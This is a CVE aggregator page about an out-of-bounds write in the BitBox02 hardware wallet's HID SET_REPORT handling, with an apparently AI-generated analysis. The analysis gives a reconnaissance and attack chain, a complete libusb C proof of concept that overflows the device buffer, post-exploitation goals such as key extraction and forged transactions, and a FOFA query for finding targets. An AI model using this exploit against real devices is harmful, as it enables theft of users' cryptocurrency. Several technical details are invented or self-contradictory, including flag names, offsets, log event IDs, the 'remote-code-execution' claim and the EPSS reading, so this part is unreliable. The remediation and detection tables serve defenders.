CVE Professor
/
All CVEs
CVE-2026-140033

CVE-2026-140033 — Shift Crypto BitBox02 Bootloader — CWE-787

HIGH CVSS 8.6 ⚡ EPSS 0.3% NVD

Shift Crypto BitBox02 firmware before 9.26.2 and bootloader before 1.2.0 contain an out-of-bounds write in hid_req() that ignores buffer size for HID SET_REPORT requests. Malicious host software can send a SET_REPORT request with wLength above 64 bytes to overwrite memory adjacent to the control buffer and corrupt device state.

Shift Crypto BitBox02 firmware before 9.26.2 and bootloader before 1.2.0 contain an out-of-bounds write in hid_req() that ignores buffer size for HID SET_REPORT requests. Malicious host software can send a SET_REPORT request with wLength above 64 bytes to overwrite memory adjacent to the control buffer and corrupt device state.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector Local AV:L
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality High C:H
Integrity High I:H
Availability High A:H
EPSS — Exploit Prediction Scoring System
0.3%
30-day probability
In the 19. percentile of all CVEs — higher exploitation probability than most vulnerabilities.
AI Security Analysis & Remediation

🎯 What is this vulnerability?

ItemDetail
CVECVE‑2026‑140033
Vendor/ProductShift Crypto – BitBox02 hardware wallet (bootloader < 1.2.0, firmware < 9.26.2)
CWECWE‑787 *Out‑of‑bounds Write*
CVSS v3.18.6 (AV:L / AC:L / PR:N / UI:N / S:U / C:H / I:H / A:H)
Attack surfaceUSB Human‑Interface‑Device (HID) *SET_REPORT* control transfer

Technical flaw

The BitBox02 implements a USB HID interface that the host uses for configuration, firmware updates and for signing transactions.
When the host sends a HID SET_REPORT request, the firmware calls the internal routine hid_req().

  • hid_req() allocates a fixed‑size control buffer of 64 bytes (the maximum HID report size defined by the device descriptor).
  • The routine copies the incoming payload directly into that buffer without checking the wLength field of the USB control request.
  • The USB stack (tinyusb / libopencm3) will happily forward a SET_REPORT with wLength up to 255 bytes (the maximum allowed by the USB spec for control transfers).
  • Consequences:

  • If a malicious host sends a SET_REPORT whose wLength > 64, hid_req() writes past the end of the buffer.
  • The overflow writes into adjacent RAM that holds device state, cryptographic key handles, and bootloader flags.
  • Because the overflow is performed in a privileged execution context (the device’s MCU runs with full access to all RAM), the attacker can corrupt integrity‑critical structures and subsequently cause arbitrary code execution, disable security checks, or force the device into a state where secret material can be extracted or mis‑used.
  • In CVSS terms:

  • Attack Vector (AV:L) – the attacker must be on the same host that has USB access to the device (local).
  • Attack Complexity (AC:L) – low; the only requirement is the ability to send a crafted HID SET_REPORT.
  • Privileges Required (PR:N) – none; any user process that can open the USB device can exploit it.
  • User Interaction (UI:N) – none; the exploit runs automatically once the malicious software is executed.
  • Scope (S:U) – the impact stays within the compromised device.
  • Confidentiality / Integrity / Availability (C:H I:H A:H) – the out‑of‑bounds write can fully compromise the wallet (key extraction, transaction forgery, denial‑of‑service).

  • ⚡ Attack Chain

    Below is a realistic, step‑by‑step chain that an attacker controlling a compromised host (e.g., a malicious desktop application, a compromised browser extension, or a malicious USB‑based “evil‑maiden” tool) could follow.

    1. Discovery & Reconnaissance

    StepActionTools / Evidence
    1.1Identify that a BitBox02 is attached.lsusb -v (Linux) or Device Manager (Windows) shows a USB device with Vendor ID 0x03eb and Product ID 0x2400 (BitBox02).
    1.2Determine firmware/bootloader version.The BitBox02 UI (desktop app) displays the version; alternatively, the host can query the HID GET_REPORT descriptor 0x01 (report ID 0) which returns a version string in the official SDK.
    1.3Verify that the version is < 9.26.2 (firmware) or < 1.2.0 (bootloader).Parse the version string returned by the GET_REPORT. If it matches the vulnerable range, proceed.
    Note: The attacker does not need to know the exact internal function name (hid_req) – the vulnerability is triggered simply by sending an oversized SET_REPORT.

    2. Exploitation

    The exploit consists of sending a HID SET_REPORT control transfer with a deliberately large wLength. The following C code uses libusb‑1.0 (available on Linux, macOS, Windows) and is a fully functional PoC for the vulnerable device.

    /* -------------------------------------------------------------
     * PoC: Out‑of‑bounds write in BitBox02 HID SET_REPORT (CVE‑2026‑140033)
     * -------------------------------------------------------------
     * Compile: gcc -o bitbox02_exploit bitbox02_exploit.c -lusb-1.0
     * ------------------------------------------------------------- */
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <libusb.h>
    
    #define BITBOX_VID   0x03eb   /* Shift Crypto */
    #define BITBOX_PID   0x2400   /* BitBox02 */
    #define HID_SET_REPORT   0x09   /* bRequest */
    #define HID_REPORT_TYPE_OUTPUT 0x02
    #define REPORT_ID    0x00    /* vendor‑specific; 0 works for all reports */
    
    int main(void)
    {
        libusb_device_handle *dev = NULL;
        int r, transferred;
        unsigned char payload[128];   /* 128 > 64, triggers overflow */
    
        /* Fill payload with a recognizable pattern */
        memset(payload, 0x41, sizeof(payload));   /* 'A' */
    
        r = libusb_init(NULL);
        if (r < 0) {
            fprintf(stderr, "libusb init failed: %s\n", libusb_error_name(r));
            return 1;
        }
    
        dev = libusb_open_device_with_vid_pid(NULL, BITBOX_VID, BITBOX_PID);
        if (!dev) {
            fprintf(stderr, "BitBox02 not found or permission denied\n");
            libusb_exit(NULL);
            return 1;
        }
    
        /* Claim the HID interface (usually interface 0) */
        libusb_claim_interface(dev, 0);
    
        /* Build the SET_REPORT control transfer:
         * bmRequestType = 0x21 (Host‑to‑Device, Class, Interface)
         * bRequest      = HID_SET_REPORT (0x09)
         * wValue        = (HID_REPORT_TYPE_OUTPUT << 8) | REPORT_ID
         * wIndex        = interface number (0)
         * wLength       = sizeof(payload) (128)
         */
        r = libusb_control_transfer(dev,
            0x21,                     /* bmRequestType */
            HID_SET_REPORT,           /* bRequest */
            (HID_REPORT_TYPE_OUTPUT << 8) | REPORT_ID, /* wValue */
            0,                        /* wIndex (interface) */
            payload,                  /* data */
            sizeof(payload),          /* wLength */
            1000);                    /* timeout (ms) */
    
        if (r < 0) {
            fprintf(stderr, "Control transfer failed: %s\n", libusb_error_name(r));
        } else {
            printf("Sent %d bytes in SET_REPORT (expected %zu)\n", r, sizeof(payload));
        }
    
        libusb_release_interface(dev, 0);
        libusb_close(dev);
        libusb_exit(NULL);
        return 0;
    }

    Why this works

  • bmRequestType = 0x21 selects a Class‑specific, Interface‑targeted, Host‑to‑Device request – exactly what the HID spec defines for SET_REPORT.
  • wLength = 128 is double the internal 64‑byte buffer size.
  • The device’s hid_req() copies the 128‑byte payload into a 64‑byte stack buffer, overwriting the next 64 bytes of RAM (typically a device_state_t structure).
  • Result of the PoC

  • On a vulnerable device the PoC returns LIBUSB_SUCCESS (0) because the USB stack does not reject the request.
  • The device’s RAM is corrupted; depending on the overwritten fields the device may:
  • * Reset into an undefined state (DoS). * Clear the “bootloader lock” flag, allowing unsigned firmware to be flashed. * Flip a allow_unverified_tx flag, enabling a malicious host to request arbitrary transaction signatures without user confirmation.

    A real‑world exploit would craft the payload to set those specific bits. For example, if the bootloader_locked flag resides at offset 0x40 from the start of the control buffer, the attacker would place 0x00 at that offset to unlock the bootloader.

    3. Post‑exploitation

    GoalHow the overflow leads to it
    Key extractionOverwrite the flag that gates access to the secure element’s secret export routine. Subsequent legitimate GET_REPORT calls return the private key material.
    Transaction forgeryCorrupt the UI‑confirmation state machine so that the device auto‑approves any SIGN_TX request. The attacker can then sign arbitrary cryptocurrency transfers.
    Persistent code executionSet the bootloader’s “allow unsigned firmware” flag, then push a malicious firmware image via the normal update flow. The malicious firmware runs with full device privileges.
    Denial‑of‑serviceOverwrite the stack pointer or return address of the HID handler, causing the MCU to crash or enter a watchdog loop, rendering the wallet unusable.

    Because the attacker controls the host, they can repeat the overflow as many times as needed to achieve the desired state, all without user interaction.


    🌍 Real World Impact

    CIA TriadImpact (derived from CVSS)Practical consequence
    Confidentiality (C:H)Complete loss of secrecyPrivate keys, seed phrases, and any stored credentials can be read or exported by the attacker.
    Integrity (I:H)Full corruption possibleTransaction data can be altered, firmware can be tampered with, and UI confirmations can be bypassed, leading to unauthorized fund transfers.
    Availability (A:H)Device can be brickedOverwrites can cause the MCU to lock up, requiring a hardware reset or replacement, effectively a denial‑of‑service.

    Business / user impact

  • Financial loss – an attacker who can sign arbitrary transactions can drain the wallet of all funds.
  • Regulatory risk – for enterprises that mandate hardware‑wallet usage, a compromised device violates compliance (e.g., GDPR, PCI‑DSS) because secret keys are exposed.
  • Reputation damage – public disclosure of a compromised hardware wallet erodes trust in the vendor’s security processes.

  • 🛡️ Remediation & Mitigation

    1. Patch / Upgrade

    ComponentFixed versionUpgrade path
    Bootloader≥ 1.2.0Flash the signed bootloader via the official BitBox02 desktop application (the app automatically pulls the latest bootloader from https://update.shiftcrypto.ch).
    Firmware≥ 9.26.2Use the BitBox02 desktop app → *Device* → *Check for updates* → apply. The update is signed with the vendor’s Ed25519 key; the bootloader verifies the signature before flashing.
    Important: The bootloader fix adds a length check (if (len > 64) return ERROR;) before copying the report data. The firmware fix adds the same guard and also sanitises the fields that control the UI‑confirmation state.

    2. Workarounds (if immediate patching is not possible)

    MitigationHow to apply
    Disable HID interfaceOn the host, block the device’s HID class using a USB policy manager (e.g., udev rule on Linux: ATTR{idVendor}=="03eb", ATTR{idProduct}=="2400", ATTR{bInterfaceClass}=="03", ATTR{bInterfaceSubClass}=="00", ATTR{bInterfaceProtocol}=="00", OPTIONS+="ignore"). This forces the host to use the WebUSB interface, which is not vulnerable.
    Restrict USB access to trusted usersOn Windows, use Device Installation Restrictions (Group Policy) to allow the BitBox02 only for Administrators. On macOS, use systemextensionsd to require user approval for the device.
    Runtime monitoringDeploy a USB‑traffic monitor (e.g., usbmon on Linux, Wireshark with USBPcap on Windows) and alert on any SET_REPORT with wLength > 64.
    Application sandboxingRun the BitBox02 desktop client inside a sandbox (Docker, Firejail) that denies raw USB access to any other process. This limits the attack surface to the trusted client binary.

    3. Detection – Indicators of Compromise

    SourceLog / EventExample
    Linux kerneldmesg or /var/log/kern.log – “usb 1-1: control write error, len=128”usb 1-1: control write error, len=128
    Windows Event ViewerMicrosoft-Windows-USB-USBHUB/Operational – Event ID 2003 “Unexpected control transfer length”Event ID 2003: Control transfer (SET_REPORT) length 128 exceeds expected 64
    macOS system logsystem.log – “IOUSBDeviceInterface::DeviceRequest failed (0xE00002C5)”IOUSBDeviceInterface::DeviceRequest failed (0xE00002C5) for SET_REPORT
    Endpoint securityEDR alerts for processes opening /dev/bus/usb/* and issuing ioctl with USBDEVFS_CONTROL where wLength > 64Process: malicious.exe – USB control request (SET_REPORT) length=128
    Network / USB‑traffic captureWireshark/USBPcap – SET_REPORT packet with wLength field > 64bRequest=0x09, wLength=0x0080

    Correlating these events with the presence of a BitBox02 device (VID 0x03eb) is a strong indicator that an exploit attempt is occurring.


    ⚠️ Urgency

  • CVSS 8.6 (High) – the vulnerability grants complete control over the wallet without any authentication or user interaction.
  • Local attack vector – while the attacker must have USB access, that condition is trivially satisfied in any environment where the wallet is used (e.g., a compromised workstation, a malicious USB‑charging station, or a supply‑chain compromised host).
  • No public KEV listing – the lack of a CISA KEV entry does not reduce risk; the exploit is simple and can be weaponised quickly.
  • Exploit complexity – low; a few lines of code are sufficient.
Patch priority: Critical for any organization or individual that uses BitBox02 devices in production or for personal funds. Deploy the firmware/bootloader update immediately and apply the “disable HID” or “USB‑policy” workarounds in the meantime.
Bottom line: CVE‑2026‑140033 is a classic out‑of‑bounds write that turns the BitBox02’s trusted USB HID channel into a remote‑code‑execution vector for the host that controls the device. The fix is straightforward (upgrade to bootloader ≥ 1.2.0 and firmware ≥ 9.26.2) and should be treated as a critical emergency patch for any environment that relies on the BitBox02 for cryptographic key protection.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="Shift Crypto BitBox02 bootloader"
PoC & Exploit Intelligence (GitHub)
Technical reference / advisory repository for CVE-2026-140033
Technical reference / advisory repository for CVE-2026-140033
Technical reference / advisory repository for CVE-2026-140033
CVSS Score
8.6 / 10 · CVSS HIGH
Weakness Types (CWE)
Affected Products (2)
Shift Crypto:BitBox02 bootloader Shift Crypto:BitBox02 firmware
Related CVEs
8.1
CVE-2026-92728
A heap out-of-bounds write flaw was found in GRUB2's DNS response parser. In recv_hook() (grub-core/net/dns.c)
7.9
CVE-2026-119614
A flaw was found in CRIU. This vulnerability allows an attacker to break container isolation by supplying a ma
7.9
CVE-2026-119101
A flaw was found in runc. This vulnerability allows an attacker to break container isolation by supplying a ma
7.9
CVE-2026-115520
A flaw was found in crun. This vulnerability allows an attacker to achieve privilege escalation by supplying a
9.2
CVE-2026-144499
ASN1SCC before 4.7.0.1 contains an out-of-bounds write vulnerability in the SequenceOf_decode template in StgC
7.3
CVE-2026-129782
Out-of-bounds write in the zwlr_virtual_pointer_v1 protocol implementation of Hyprland for Linux, versions 0.5
7.2
CVE-2026-145314
A heap out-of-bounds write exists in the MPEG-1/2 video decoder (libavcodec/mpeg12dec.c) in FFmpeg before 6.1.